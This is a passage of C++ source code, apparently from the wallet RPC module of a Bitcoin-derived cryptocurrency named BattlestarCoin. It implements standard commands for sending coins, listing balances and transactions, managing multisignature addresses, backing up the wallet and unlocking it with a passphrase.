<account>\n" "Returns the list of addresses for the given account."); string strAccount = AccountFromValue(params[0]); // Find all addresses that have the given account Array ret; BOOST_FOREACH(const PAIRTYPE(CBitcoinAddress, string)& item, pwalletMain->mapAddressBook) { const CBitcoinAddress& address = item.first; const string& strName = item.second; if (strName == strAccount) ret.push_back(address.ToString()); } return ret; } Value sendtoaddress(const Array& params, bool fHelp) { if (fHelp || params.size() < 2 || params.size() > 4) throw runtime_error( "sendtoaddress <battlestarcoinaddress> <amount> [comment] [comment-to]\n" "<amount> is a real and is rounded to the nearest 0.000001" + HelpRequiringPassphrase()); CBitcoinAddress address(params[0].get_str()); if (!address.IsValid()) throw JSONRPCError(RPC_INVALID_ADDRESS_OR_KEY, "Invalid BattlestarCoin address"); // Amount int64_t nAmount = AmountFromValue(params[1]); // Wallet comments CWalletTx wtx; if (params.size() > 2 && params[2].type() != null_type && !params[2].get_str().empty()) wtx.mapValue["comment"] = params[2].get_str(); if (params.size() > 3 && params[3].type() != null_type && !params[3].get_str().empty()) wtx.mapValue["to"] = params[3].get_str(); if (pwalletMain->IsLocked()) throw JSONRPCError(RPC_WALLET_UNLOCK_NEEDED, "Error: Please enter the wallet passphrase with walletpassphrase first."); string strError = pwalletMain->SendMoneyToDestination(address.Get(), nAmount, wtx); if (strError != "") throw JSONRPCError(RPC_WALLET_ERROR, strError); return wtx.GetHash().GetHex(); } Value listaddressgroupings(const Array& params, bool fHelp) { if (fHelp) throw runtime_error( "listaddressgroupings\n" "Lists groups of addresses which have had their common ownership\n" "made public by common use as inputs or as the resulting change\n" "in past transactions"); Array jsonGroupings; map<CTxDestination, int64_t> balances = pwalletMain->GetAddressBalances(); BOOST_FOREACH(set<CTxDestination> grouping, pwalletMain->GetAddressGroupings()) { Array jsonGrouping; BOOST_FOREACH(CTxDestination address, grouping) { Array addressInfo; addressInfo.push_back(CBitcoinAddress(address).ToString()); addressInfo.push_back(ValueFromAmount(balances[address])); { LOCK(pwalletMain->cs_wallet); if (pwalletMain->mapAddressBook.find(CBitcoinAddress(address).Get()) != pwalletMain->mapAddressBook.end()) addressInfo.push_back(pwalletMain->mapAddressBook.find(CBitcoinAddress(address).Get())->second); } jsonGrouping.push_back(addressInfo); } jsonGroupings.push_back(jsonGrouping); } return jsonGroupings; } Value signmessage(const Array& params, bool fHelp) { if (fHelp || params.size() != 2) throw runtime_error( "signmessage <battlestarcoinaddress> <message>\n" "Sign a message with the private key of an address"); EnsureWalletIsUnlocked(); string strAddress = params[0].get_str(); string strMessage = params[1].get_str(); CBitcoinAddress addr(strAddress); if (!addr.IsValid()) throw JSONRPCError(RPC_TYPE_ERROR, "Invalid address"); CKeyID keyID; if (!addr.GetKeyID(keyID)) throw JSONRPCError(RPC_TYPE_ERROR, "Address does not refer to key"); CKey key; if (!pwalletMain->GetKey(keyID, key)) throw JSONRPCError(RPC_WALLET_ERROR, "Private key not available"); CHashWriter ss(SER_GETHASH, 0); ss << strMessageMagic; ss << strMessage; vector<unsigned char> vchSig; if (!key.SignCompact(ss.GetHash(), vchSig)) throw JSONRPCError(RPC_INVALID_ADDRESS_OR_KEY, "Sign failed"); return EncodeBase64(&vchSig[0], vchSig.size()); } Value getreceivedbyaddress(const Array& params, bool fHelp) { if (fHelp || params.size() < 1 || params.size() > 2) throw runtime_error( "getreceivedbyaddress <battlestarcoinaddress> [minconf=1]\n" "Returns the total amount received by <battlestarcoinaddress> in transactions with at least [minconf] confirmations."); // Bitcoin address CBitcoinAddress address = CBitcoinAddress(params[0].get_str()); CScript scriptPubKey; if (!address.IsValid()) throw JSONRPCError(RPC_INVALID_ADDRESS_OR_KEY, "Invalid BattlestarCoin address"); scriptPubKey.SetDestination(address.Get()); if (!IsMine(*pwalletMain,scriptPubKey)) return (double)0.0; // Minimum confirmations int nMinDepth = 1; if (params.size() > 1) nMinDepth = params[1].get_int(); // Tally int64_t nAmount = 0; for (map<uint256, CWalletTx>::iterator it = pwalletMain->mapWallet.begin(); it != pwalletMain->mapWallet.end(); ++it) { const CWalletTx& wtx = (*it).second; if (wtx.IsCoinBase() || wtx.IsCoinStake() || !IsFinalTx(wtx)) continue; BOOST_FOREACH(const CTxOut& txout, wtx.vout) if (txout.scriptPubKey == scriptPubKey) if (wtx.GetDepthInMainChain() >= nMinDepth) nAmount += txout.nValue; } return ValueFromAmount(nAmount); } void GetAccountAddresses(string strAccount, set<CTxDestination>& setAddress) { BOOST_FOREACH(const PAIRTYPE(CTxDestination, string)& item, pwalletMain->mapAddressBook) { const CTxDestination& address = item.first; const string& strName = item.second; if (strName == strAccount) setAddress.insert(address); } } Value getreceivedbyaccount(const Array& params, bool fHelp) { if (fHelp || params.size() < 1 || params.size() > 2) throw runtime_error( "getreceivedbyaccount <account> [minconf=1]\n" "Returns the total amount received by addresses with <account> in transactions with at least [minconf] confirmations."); accountingDeprecationCheck(); // Minimum confirmations int nMinDepth = 1; if (params.size() > 1) nMinDepth = params[1].get_int(); // Get the set of pub keys assigned to account string strAccount = AccountFromValue(params[0]); set<CTxDestination> setAddress; GetAccountAddresses(strAccount, setAddress); // Tally int64_t nAmount = 0; for (map<uint256, CWalletTx>::iterator it = pwalletMain->mapWallet.begin(); it != pwalletMain->mapWallet.end(); ++it) { const CWalletTx& wtx = (*it).second; if (wtx.IsCoinBase() || wtx.IsCoinStake() || !IsFinalTx(wtx)) continue; BOOST_FOREACH(const CTxOut& txout, wtx.vout) { CTxDestination address; if (ExtractDestination(txout.scriptPubKey, address) && IsMine(*pwalletMain, address) && setAddress.count(address)) if (wtx.GetDepthInMainChain() >= nMinDepth) nAmount += txout.nValue; } } return (double)nAmount / (double)COIN; } int64_t GetAccountBalance(CWalletDB& walletdb, const string& strAccount, int nMinDepth) { int64_t nBalance = 0; // Tally wallet transactions for (map<uint256, CWalletTx>::iterator it = pwalletMain->mapWallet.begin(); it != pwalletMain->mapWallet.end(); ++it) { const CWalletTx& wtx = (*it).second; if (!IsFinalTx(wtx) || wtx.GetDepthInMainChain() < 0) continue; int64_t nReceived, nSent, nFee; wtx.GetAccountAmounts(strAccount, nReceived, nSent, nFee); if (nReceived != 0 && wtx.GetDepthInMainChain() >= nMinDepth && wtx.GetBlocksToMaturity() == 0) nBalance += nReceived; nBalance -= nSent + nFee; } // Tally internal accounting entries nBalance += walletdb.GetAccountCreditDebit(strAccount); return nBalance; } int64_t GetAccountBalance(const string& strAccount, int nMinDepth) { CWalletDB walletdb(pwalletMain->strWalletFile); return GetAccountBalance(walletdb, strAccount, nMinDepth); } Value getbalance(const Array& params, bool fHelp) { if (fHelp || params.size() > 2) throw runtime_error( "getbalance [account] [minconf=1]\n" "If [account] is not specified, returns the server's total available balance.\n" "If [account] is specified, returns the balance in the account."); if (params.size() == 0) return ValueFromAmount(pwalletMain->GetBalance()); int nMinDepth = 1; if (params.size() > 1) nMinDepth = params[1].get_int(); if (params[0].get_str() == "*") { // Calculate total balance a different way from GetBalance() // (GetBalance() sums up all unspent TxOuts) // getbalance and getbalance '*' 0 should return the same number. int64_t nBalance = 0; for (map<uint256, CWalletTx>::iterator it = pwalletMain->mapWallet.begin(); it != pwalletMain->mapWallet.end(); ++it) { const CWalletTx& wtx = (*it).second; if (!wtx.IsTrusted()) continue; int64_t allFee; string strSentAccount; list<pair<CTxDestination, int64_t> > listReceived; list<pair<CTxDestination, int64_t> > listSent; wtx.GetAmounts(listReceived, listSent, allFee, strSentAccount); if (wtx.GetDepthInMainChain() >= nMinDepth && wtx.GetBlocksToMaturity() == 0) { BOOST_FOREACH(const PAIRTYPE(CTxDestination,int64_t)& r, listReceived) nBalance += r.second; } BOOST_FOREACH(const PAIRTYPE(CTxDestination,int64_t)& r, listSent) nBalance -= r.second; nBalance -= allFee; } return ValueFromAmount(nBalance); } accountingDeprecationCheck(); string strAccount = AccountFromValue(params[0]); int64_t nBalance = GetAccountBalance(strAccount, nMinDepth); return ValueFromAmount(nBalance); } Value movecmd(const Array& params, bool fHelp) { if (fHelp || params.size() < 3 || params.size() > 5) throw runtime_error( "move <fromaccount> <toaccount> <amount> [minconf=1] [comment]\n" "Move from one account in your wallet to another."); accountingDeprecationCheck(); string strFrom = AccountFromValue(params[0]); string strTo = AccountFromValue(params[1]); int64_t nAmount = AmountFromValue(params[2]); if (params.size() > 3) // unused parameter, used to be nMinDepth, keep type-checking it though (void)params[3].get_int(); string strComment; if (params.size() > 4) strComment = params[4].get_str(); CWalletDB walletdb(pwalletMain->strWalletFile); if (!walletdb.TxnBegin()) throw JSONRPCError(RPC_DATABASE_ERROR, "database error"); int64_t nNow = GetAdjustedTime(); // Debit CAccountingEntry debit; debit.nOrderPos = pwalletMain->IncOrderPosNext(&walletdb); debit.strAccount = strFrom; debit.nCreditDebit = -nAmount; debit.nTime = nNow; debit.strOtherAccount = strTo; debit.strComment = strComment; walletdb.WriteAccountingEntry(debit); // Credit CAccountingEntry credit; credit.nOrderPos = pwalletMain->IncOrderPosNext(&walletdb); credit.strAccount = strTo; credit.nCreditDebit = nAmount; credit.nTime = nNow; credit.strOtherAccount = strFrom; credit.strComment = strComment; walletdb.WriteAccountingEntry(credit); if (!walletdb.TxnCommit()) throw JSONRPCError(RPC_DATABASE_ERROR, "database error"); return true; } Value sendfrom(const Array& params, bool fHelp) { if (fHelp || params.size() < 3 || params.size() > 6) throw runtime_error( "sendfrom <fromaccount> <tobattlestarcoinaddress> <amount> [minconf=1] [comment] [comment-to]\n" "<amount> is a real and is rounded to the nearest 0.000001" + HelpRequiringPassphrase()); string strAccount = AccountFromValue(params[0]); CBitcoinAddress address(params[1].get_str()); if (!address.IsValid()) throw JSONRPCError(RPC_INVALID_ADDRESS_OR_KEY, "Invalid BattlestarCoin address"); int64_t nAmount = AmountFromValue(params[2]); int nMinDepth = 1; if (params.size() > 3) nMinDepth = params[3].get_int(); CWalletTx wtx; wtx.strFromAccount = strAccount; if (params.size() > 4 && params[4].type() != null_type && !params[4].get_str().empty()) wtx.mapValue["comment"] = params[4].get_str(); if (params.size() > 5 && params[5].type() != null_type && !params[5].get_str().empty()) wtx.mapValue["to"] = params[5].get_str(); EnsureWalletIsUnlocked(); // Check funds int64_t nBalance = GetAccountBalance(strAccount, nMinDepth); if (nAmount > nBalance) throw JSONRPCError(RPC_WALLET_INSUFFICIENT_FUNDS, "Account has insufficient funds"); // Send string strError = pwalletMain->SendMoneyToDestination(address.Get(), nAmount, wtx); if (strError != "") throw JSONRPCError(RPC_WALLET_ERROR, strError); return wtx.GetHash().GetHex(); } Value sendmany(const Array& params, bool fHelp) { if (fHelp || params.size() < 2 || params.size() > 4) throw runtime_error( "sendmany <fromaccount> {address:amount,...} [minconf=1] [comment]\n" "amounts are double-precision floating point numbers" + HelpRequiringPassphrase()); string strAccount = AccountFromValue(params[0]); Object sendTo = params[1].get_obj(); int nMinDepth = 1; if (params.size() > 2) nMinDepth = params[2].get_int(); CWalletTx wtx; wtx.strFromAccount = strAccount; if (params.size() > 3 && params[3].type() != null_type && !params[3].get_str().empty()) wtx.mapValue["comment"] = params[3].get_str(); set<CBitcoinAddress> setAddress; vector<pair<CScript, int64_t> > vecSend; int64_t totalAmount = 0; BOOST_FOREACH(const Pair& s, sendTo) { CBitcoinAddress address(s.name_); if (!address.IsValid()) throw JSONRPCError(RPC_INVALID_ADDRESS_OR_KEY, string("Invalid BattlestarCoin address: ")+s.name_); if (setAddress.count(address)) throw JSONRPCError(RPC_INVALID_PARAMETER, string("Invalid parameter, duplicated address: ")+s.name_); setAddress.insert(address); CScript scriptPubKey; scriptPubKey.SetDestination(address.Get()); int64_t nAmount = AmountFromValue(s.value_); totalAmount += nAmount; vecSend.push_back(make_pair(scriptPubKey, nAmount)); } EnsureWalletIsUnlocked(); // Check funds int64_t nBalance = GetAccountBalance(strAccount, nMinDepth); if (totalAmount > nBalance) throw JSONRPCError(RPC_WALLET_INSUFFICIENT_FUNDS, "Account has insufficient funds"); // Send CReserveKey keyChange(pwalletMain); int64_t nFeeRequired = 0; bool fCreated = pwalletMain->CreateTransaction(vecSend, wtx, keyChange, nFeeRequired); if (!fCreated) { if (totalAmount + nFeeRequired > pwalletMain->GetBalance()) throw JSONRPCError(RPC_WALLET_INSUFFICIENT_FUNDS, "Insufficient funds"); throw JSONRPCError(RPC_WALLET_ERROR, "Transaction creation failed"); } if (!pwalletMain->CommitTransaction(wtx, keyChange)) throw JSONRPCError(RPC_WALLET_ERROR, "Transaction commit failed"); return wtx.GetHash().GetHex(); } Value addmultisigaddress(const Array& params, bool fHelp) { if (fHelp || params.size() < 2 || params.size() > 3) { string msg = "addmultisigaddress <nrequired> <'[\"key\",\"key\"]'> [account]\n" "Add a nrequired-to-sign multisignature address to the wallet\"\n" "each key is a BattlestarCoin address or hex-encoded public key\n" "If [account] is specified, assign address to [account]."; throw runtime_error(msg); } int nRequired = params[0].get_int(); const Array& keys = params[1].get_array(); string strAccount; if (params.size() > 2) strAccount = AccountFromValue(params[2]); // Gather public keys if (nRequired < 1) throw runtime_error("a multisignature address must require at least one key to redeem"); if ((int)keys.size() < nRequired) throw runtime_error( strprintf("not enough keys supplied " "(got %u keys, but need at least %d to redeem)", keys.size(), nRequired)); std::vector<CPubKey> pubkeys; pubkeys.resize(keys.size()); for (unsigned int i = 0; i < keys.size(); i++) { const std::string& ks = keys[i].get_str(); // Case 1: Bitcoin address and we have full public key: CBitcoinAddress address(ks); if (pwalletMain && address.IsValid()) { CKeyID keyID; if (!address.GetKeyID(keyID)) throw runtime_error( strprintf("%s does not refer to a key",ks)); CPubKey vchPubKey; if (!pwalletMain->GetPubKey(keyID, vchPubKey)) throw runtime_error( strprintf("no full public key for address %s",ks)); if (!vchPubKey.IsFullyValid()) throw runtime_error(" Invalid public key: "+ks); pubkeys[i] = vchPubKey; } // Case 2: hex public key else if (IsHex(ks)) { CPubKey vchPubKey(ParseHex(ks)); if (!vchPubKey.IsFullyValid()) throw runtime_error(" Invalid public key: "+ks); pubkeys[i] = vchPubKey; } else { throw runtime_error(" Invalid public key: "+ks); } } // Construct using pay-to-script-hash: CScript inner; inner.SetMultisig(nRequired, pubkeys); CScriptID innerID = inner.GetID(); if (!pwalletMain->AddCScript(inner)) throw runtime_error("AddCScript() failed"); pwalletMain->SetAddressBookName(innerID, strAccount); return CBitcoinAddress(innerID).ToString(); } Value addredeemscript(const Array& params, bool fHelp) { if (fHelp || params.size() < 1 || params.size() > 2) { string msg = "addredeemscript <redeemScript> [account]\n" "Add a P2SH address with a specified redeemScript to the wallet.\n" "If [account] is specified, assign address to [account]."; throw runtime_error(msg); } string strAccount; if (params.size() > 1) strAccount = AccountFromValue(params[1]); // Construct using pay-to-script-hash: vector<unsigned char> innerData = ParseHexV(params[0], "redeemScript"); CScript inner(innerData.begin(), innerData.end()); CScriptID innerID = inner.GetID(); if (!pwalletMain->AddCScript(inner)) throw runtime_error("AddCScript() failed"); pwalletMain->SetAddressBookName(innerID, strAccount); return CBitcoinAddress(innerID).ToString(); } struct tallyitem { int64_t nAmount; int nConf; tallyitem() { nAmount = 0; nConf = std::numeric_limits<int>::max(); } }; Value ListReceived(const Array& params, bool fByAccounts) { // Minimum confirmations int nMinDepth = 1; if (params.size() > 0) nMinDepth = params[0].get_int(); // Whether to include empty accounts bool fIncludeEmpty = false; if (params.size() > 1) fIncludeEmpty = params[1].get_bool(); // Tally map<CBitcoinAddress, tallyitem> mapTally; for (map<uint256, CWalletTx>::iterator it = pwalletMain->mapWallet.begin(); it != pwalletMain->mapWallet.end(); ++it) { const CWalletTx& wtx = (*it).second; if (wtx.IsCoinBase() || wtx.IsCoinStake() || !IsFinalTx(wtx)) continue; int nDepth = wtx.GetDepthInMainChain(); if (nDepth < nMinDepth) continue; BOOST_FOREACH(const CTxOut& txout, wtx.vout) { CTxDestination address; if (!ExtractDestination(txout.scriptPubKey, address) || !IsMine(*pwalletMain, address)) continue; tallyitem& item = mapTally[address]; item.nAmount += txout.nValue; item.nConf = min(item.nConf, nDepth); } } // Reply Array ret; map<string, tallyitem> mapAccountTally; BOOST_FOREACH(const PAIRTYPE(CBitcoinAddress, string)& item, pwalletMain->mapAddressBook) { const CBitcoinAddress& address = item.first; const string& strAccount = item.second; map<CBitcoinAddress, tallyitem>::iterator it = mapTally.find(address); if (it == mapTally.end() && !fIncludeEmpty) continue; int64_t nAmount = 0; int nConf = std::numeric_limits<int>::max(); if (it != mapTally.end()) { nAmount = (*it).second.nAmount; nConf = (*it).second.nConf; } if (fByAccounts) { tallyitem& item = mapAccountTally[strAccount]; item.nAmount += nAmount; item.nConf = min(item.nConf, nConf); } else { Object obj; obj.push_back(Pair("address", address.ToString())); obj.push_back(Pair("account", strAccount)); obj.push_back(Pair("amount", ValueFromAmount(nAmount))); obj.push_back(Pair("confirmations", (nConf == std::numeric_limits<int>::max() ? 0 : nConf))); ret.push_back(obj); } } if (fByAccounts) { for (map<string, tallyitem>::iterator it = mapAccountTally.begin(); it != mapAccountTally.end(); ++it) { int64_t nAmount = (*it).second.nAmount; int nConf = (*it).second.nConf; Object obj; obj.push_back(Pair("account", (*it).first)); obj.push_back(Pair("amount", ValueFromAmount(nAmount))); obj.push_back(Pair("confirmations", (nConf == std::numeric_limits<int>::max() ? 0 : nConf))); ret.push_back(obj); } } return ret; } Value listreceivedbyaddress(const Array& params, bool fHelp) { if (fHelp || params.size() > 2) throw runtime_error( "listreceivedbyaddress [minconf=1] [includeempty=false]\n" "[minconf] is the minimum number of confirmations before payments are included.\n" "[includeempty] whether to include addresses that haven't received any payments.\n" "Returns an array of objects containing:\n" " \"address\" : receiving address\n" " \"account\" : the account of the receiving address\n" " \"amount\" : total amount received by the address\n" " \"confirmations\" : number of confirmations of the most recent transaction included"); return ListReceived(params, false); } Value listreceivedbyaccount(const Array& params, bool fHelp) { if (fHelp || params.size() > 2) throw runtime_error( "listreceivedbyaccount [minconf=1] [includeempty=false]\n" "[minconf] is the minimum number of confirmations before payments are included.\n" "[includeempty] whether to include accounts that haven't received any payments.\n" "Returns an array of objects containing:\n" " \"account\" : the account of the receiving addresses\n" " \"amount\" : total amount received by addresses with this account\n" " \"confirmations\" : number of confirmations of the most recent transaction included"); accountingDeprecationCheck(); return ListReceived(params, true); } static void MaybePushAddress(Object & entry, const CTxDestination &dest) { CBitcoinAddress addr; if (addr.Set(dest)) entry.push_back(Pair("address", addr.ToString())); } void ListTransactions(const CWalletTx& wtx, const string& strAccount, int nMinDepth, bool fLong, Array& ret) { int64_t nFee; string strSentAccount; list<pair<CTxDestination, int64_t> > listReceived; list<pair<CTxDestination, int64_t> > listSent; wtx.GetAmounts(listReceived, listSent, nFee, strSentAccount); bool fAllAccounts = (strAccount == string("*")); // Sent if ((!wtx.IsCoinStake()) && (!listSent.empty() || nFee != 0) && (fAllAccounts || strAccount == strSentAccount)) { BOOST_FOREACH(const PAIRTYPE(CTxDestination, int64_t)& s, listSent) { Object entry; entry.push_back(Pair("account", strSentAccount)); MaybePushAddress(entry, s.first); entry.push_back(Pair("category", "send")); entry.push_back(Pair("amount", ValueFromAmount(-s.second))); entry.push_back(Pair("fee", ValueFromAmount(-nFee))); if (fLong) WalletTxToJSON(wtx, entry); ret.push_back(entry); } } // Received if (listReceived.size() > 0 && wtx.GetDepthInMainChain() >= nMinDepth) { bool stop = false; BOOST_FOREACH(const PAIRTYPE(CTxDestination, int64_t)& r, listReceived) { string account; if (pwalletMain->mapAddressBook.count(r.first)) account = pwalletMain->mapAddressBook[r.first]; if (fAllAccounts || (account == strAccount)) { Object entry; entry.push_back(Pair("account", account)); MaybePushAddress(entry, r.first); if (wtx.IsCoinBase() || wtx.IsCoinStake()) { if (wtx.GetDepthInMainChain() < 1) entry.push_back(Pair("category", "orphan")); else if (wtx.GetBlocksToMaturity() > 0) entry.push_back(Pair("category", "immature")); else entry.push_back(Pair("category", "generate")); } else { entry.push_back(Pair("category", "receive")); } if (!wtx.IsCoinStake()) entry.push_back(Pair("amount", ValueFromAmount(r.second))); else { entry.push_back(Pair("amount", ValueFromAmount(-nFee))); stop = true; // only one coinstake output } if (fLong) WalletTxToJSON(wtx, entry); ret.push_back(entry); } if (stop) break; } } } void AcentryToJSON(const CAccountingEntry& acentry, const string& strAccount, Array& ret) { bool fAllAccounts = (strAccount == string("*")); if (fAllAccounts || acentry.strAccount == strAccount) { Object entry; entry.push_back(Pair("account", acentry.strAccount)); entry.push_back(Pair("category", "move")); entry.push_back(Pair("time", (int64_t)acentry.nTime)); entry.push_back(Pair("amount", ValueFromAmount(acentry.nCreditDebit))); entry.push_back(Pair("otheraccount", acentry.strOtherAccount)); entry.push_back(Pair("comment", acentry.strComment)); ret.push_back(entry); } } Value listtransactions(const Array& params, bool fHelp) { if (fHelp || params.size() > 3) throw runtime_error( "listtransactions [account] [count=10] [from=0]\n" "Returns up to [count] most recent transactions skipping the first [from] transactions for account [account]."); string strAccount = "*"; if (params.size() > 0) strAccount = params[0].get_str(); int nCount = 10; if (params.size() > 1) nCount = params[1].get_int(); int nFrom = 0; if (params.size() > 2) nFrom = params[2].get_int(); if (nCount < 0) throw JSONRPCError(RPC_INVALID_PARAMETER, "Negative count"); if (nFrom < 0) throw JSONRPCError(RPC_INVALID_PARAMETER, "Negative from"); Array ret; std::list<CAccountingEntry> acentries; CWallet::TxItems txOrdered = pwalletMain->OrderedTxItems(acentries, strAccount); // iterate backwards until we have nCount items to return: for (CWallet::TxItems::reverse_iterator it = txOrdered.rbegin(); it != txOrdered.rend(); ++it) { CWalletTx *const pwtx = (*it).second.first; if (pwtx != 0) ListTransactions(*pwtx, strAccount, 0, true, ret); CAccountingEntry *const pacentry = (*it).second.second; if (pacentry != 0) AcentryToJSON(*pacentry, strAccount, ret); if ((int)ret.size() >= (nCount+nFrom)) break; } // ret is newest to oldest if (nFrom > (int)ret.size()) nFrom = ret.size(); if ((nFrom + nCount) > (int)ret.size()) nCount = ret.size() - nFrom; Array::iterator first = ret.begin(); std::advance(first, nFrom); Array::iterator last = ret.begin(); std::advance(last, nFrom+nCount); if (last != ret.end()) ret.erase(last, ret.end()); if (first != ret.begin()) ret.erase(ret.begin(), first); std::reverse(ret.begin(), ret.end()); // Return oldest to newest return ret; } Value listaccounts(const Array& params, bool fHelp) { if (fHelp || params.size() > 1) throw runtime_error( "listaccounts [minconf=1]\n" "Returns Object that has account names as keys, account balances as values."); accountingDeprecationCheck(); int nMinDepth = 1; if (params.size() > 0) nMinDepth = params[0].get_int(); map<string, int64_t> mapAccountBalances; BOOST_FOREACH(const PAIRTYPE(CTxDestination, string)& entry, pwalletMain->mapAddressBook) { if (IsMine(*pwalletMain, entry.first)) // This address belongs to me mapAccountBalances[entry.second] = 0; } for (map<uint256, CWalletTx>::iterator it = pwalletMain->mapWallet.begin(); it != pwalletMain->mapWallet.end(); ++it) { const CWalletTx& wtx = (*it).second; int64_t nFee; string strSentAccount; list<pair<CTxDestination, int64_t> > listReceived; list<pair<CTxDestination, int64_t> > listSent; int nDepth = wtx.GetDepthInMainChain(); if (nDepth < 0) continue; wtx.GetAmounts(listReceived, listSent, nFee, strSentAccount); mapAccountBalances[strSentAccount] -= nFee; BOOST_FOREACH(const PAIRTYPE(CTxDestination, int64_t)& s, listSent) mapAccountBalances[strSentAccount] -= s.second; if (nDepth >= nMinDepth && wtx.GetBlocksToMaturity() == 0) { BOOST_FOREACH(const PAIRTYPE(CTxDestination, int64_t)& r, listReceived) if (pwalletMain->mapAddressBook.count(r.first)) mapAccountBalances[pwalletMain->mapAddressBook[r.first]] += r.second; else mapAccountBalances[""] += r.second; } } list<CAccountingEntry> acentries; CWalletDB(pwalletMain->strWalletFile).ListAccountCreditDebit("*", acentries); BOOST_FOREACH(const CAccountingEntry& entry, acentries) mapAccountBalances[entry.strAccount] += entry.nCreditDebit; Object ret; BOOST_FOREACH(const PAIRTYPE(string, int64_t)& accountBalance, mapAccountBalances) { ret.push_back(Pair(accountBalance.first, ValueFromAmount(accountBalance.second))); } return ret; } Value listsinceblock(const Array& params, bool fHelp) { if (fHelp) throw runtime_error( "listsinceblock [blockhash] [target-confirmations]\n" "Get all transactions in blocks since block [blockhash], or all transactions if omitted"); CBlockIndex *pindex = NULL; int target_confirms = 1; if (params.size() > 0) { uint256 blockId = 0; blockId.SetHex(params[0].get_str()); pindex = CBlockLocator(blockId).GetBlockIndex(); } if (params.size() > 1) { target_confirms = params[1].get_int(); if (target_confirms < 1) throw JSONRPCError(RPC_INVALID_PARAMETER, "Invalid parameter"); } int depth = pindex ? (1 + nBestHeight - pindex->nHeight) : -1; Array transactions; for (map<uint256, CWalletTx>::iterator it = pwalletMain->mapWallet.begin(); it != pwalletMain->mapWallet.end(); it++) { CWalletTx tx = (*it).second; if (depth == -1 || tx.GetDepthInMainChain() < depth) ListTransactions(tx, "*", 0, true, transactions); } uint256 lastblock; if (target_confirms == 1) { lastblock = hashBestChain; } else { int target_height = pindexBest->nHeight + 1 - target_confirms; CBlockIndex *block; for (block = pindexBest; block && block->nHeight > target_height; block = block->pprev) { } lastblock = block ? block->GetBlockHash() : 0; } Object ret; ret.push_back(Pair("transactions", transactions)); ret.push_back(Pair("lastblock", lastblock.GetHex())); return ret; } Value gettransaction(const Array& params, bool fHelp) { if (fHelp || params.size() != 1) throw runtime_error( "gettransaction <txid>\n" "Get detailed information about <txid>"); uint256 hash; hash.SetHex(params[0].get_str()); Object entry; if (pwalletMain->mapWallet.count(hash)) { const CWalletTx& wtx = pwalletMain->mapWallet[hash]; TxToJSON(wtx, 0, entry); int64_t nCredit = wtx.GetCredit(); int64_t nDebit = wtx.GetDebit(); int64_t nNet = nCredit - nDebit; int64_t nFee = (wtx.IsFromMe() ? wtx.GetValueOut() - nDebit : 0); entry.push_back(Pair("amount", ValueFromAmount(nNet - nFee))); if (wtx.IsFromMe()) entry.push_back(Pair("fee", ValueFromAmount(nFee))); WalletTxToJSON(wtx, entry); Array details; ListTransactions(pwalletMain->mapWallet[hash], "*", 0, false, details); entry.push_back(Pair("details", details)); } else { CTransaction tx; uint256 hashBlock = 0; if (GetTransaction(hash, tx, hashBlock)) { TxToJSON(tx, 0, entry); if (hashBlock == 0) entry.push_back(Pair("confirmations", 0)); else { entry.push_back(Pair("blockhash", hashBlock.GetHex())); map<uint256, CBlockIndex*>::iterator mi = mapBlockIndex.find(hashBlock); if (mi != mapBlockIndex.end() && (*mi).second) { CBlockIndex* pindex = (*mi).second; if (pindex->IsInMainChain()) entry.push_back(Pair("confirmations", 1 + nBestHeight - pindex->nHeight)); else entry.push_back(Pair("confirmations", 0)); } } } else throw JSONRPCError(RPC_INVALID_ADDRESS_OR_KEY, "No information available about transaction"); } return entry; } Value backupwallet(const Array& params, bool fHelp) { if (fHelp || params.size() != 1) throw runtime_error( "backupwallet <destination>\n" "Safely copies wallet.dat to destination, which can be a directory or a path with filename."); string strDest = params[0].get_str(); if (!BackupWallet(*pwalletMain, strDest)) throw JSONRPCError(RPC_WALLET_ERROR, "Error: Wallet backup failed!"); return Value::null; } Value keypoolrefill(const Array& params, bool fHelp) { if (fHelp || params.size() > 1) throw runtime_error( "keypoolrefill [new-size]\n" "Fills the keypool." + HelpRequiringPassphrase()); unsigned int nSize = max(GetArg("-keypool", 100), (int64_t)0); if (params.size() > 0) { if (params[0].get_int() < 0) throw JSONRPCError(RPC_INVALID_PARAMETER, "Invalid parameter, expected valid size"); nSize = (unsigned int) params[0].get_int(); } EnsureWalletIsUnlocked(); pwalletMain->TopUpKeyPool(nSize); if (pwalletMain->GetKeyPoolSize() < nSize) throw JSONRPCError(RPC_WALLET_ERROR, "Error refreshing keypool."); return Value::null; } static void LockWallet(CWallet* pWallet) { LOCK(cs_nWalletUnlockTime); nWalletUnlockTime = 0; pWallet->Lock(); } Value walletpassphrase(const Array& params, bool fHelp) { if (pwalletMain->IsCrypted() && (fHelp || params.size() < 2 || params.size() > 3)) throw runtime_error( "walletpassphrase <passphrase> <timeout> [stakingonly]\n" "Stores the wallet decryption key in memory for <timeout> seconds.\n" "if [stakingonly] is true sending functions are disabled."); if (fHelp) return true; if (!fServer) throw JSONRPCError(RPC_SERVER_NOT_STARTED, "Error: RPC server was not started, use server=1 to change this."); if (!pwalletMain->IsCrypted()) throw JSONRPCError(RPC_WALLET_WRONG_ENC_STATE, "Error: running with an unencrypted wallet, but walletpassphrase was called."); // Note that the walletpassphrase is stored in params[0] which is not mlock()ed SecureString strWalletPass; strWalletPass.reserve(100); // TODO: get rid of this .c_str() by implementing SecureString::operator=(std::string) // Alternately, find a way to make params[0] mlock()'d to begin with. strWalletPass = params[0].get_str().c_str(); if (strWalletPass.length() > 0) { if (!pwalletMain->Unlock(strWalletPass)) throw JSONRPCError(RPC_WALLET_PASSPHRASE_INCORRECT, "Error: The wallet passphrase entered was incorrect."); } else throw runtime_error( "walletpassphrase <passphrase> <timeout>\n" "Stores the wallet decryption key in memory for <timeout> seconds."); pwalletMain->TopUpKeyPool(); int64_t nSleepTime = params[1].get_int64(); LOCK(cs_nWalletUnlockTime); nWalletUnlockTime = GetTime() + nSleepTime; RPCRunLater("lockwallet", boost::bind(LockWallet, pwalletMain), nSleepTime); // ppcoin: if user OS account compromised prevent trivial sendmoney commands if (params.size() > 2) fWalletUnlockStakingOnly = params[2].get_bool(); else fWalletUnlockStakingOnly = false; return Value::null; } Value walletpassphrasechange(const Array& params, bool fHelp) { if (pwalletMain->IsCrypted() && (fHelp || params.size() != 2)) throw runtime_error( "walletpassphrasechange <oldpassphrase> <newpassphrase>\n" "Changes the wallet passphrase from <oldpassphrase> to <newpassphrase>."); if (fHelp) return true; if (!pwalletMain->IsCrypted()) throw JSONRPCError(RPC_WALLET_WRONG_ENC_STATE, "Error: running with an unencrypted wallet, but walletpassphrasechange was called."); // TODO: get rid of these .c_str() calls by implementing 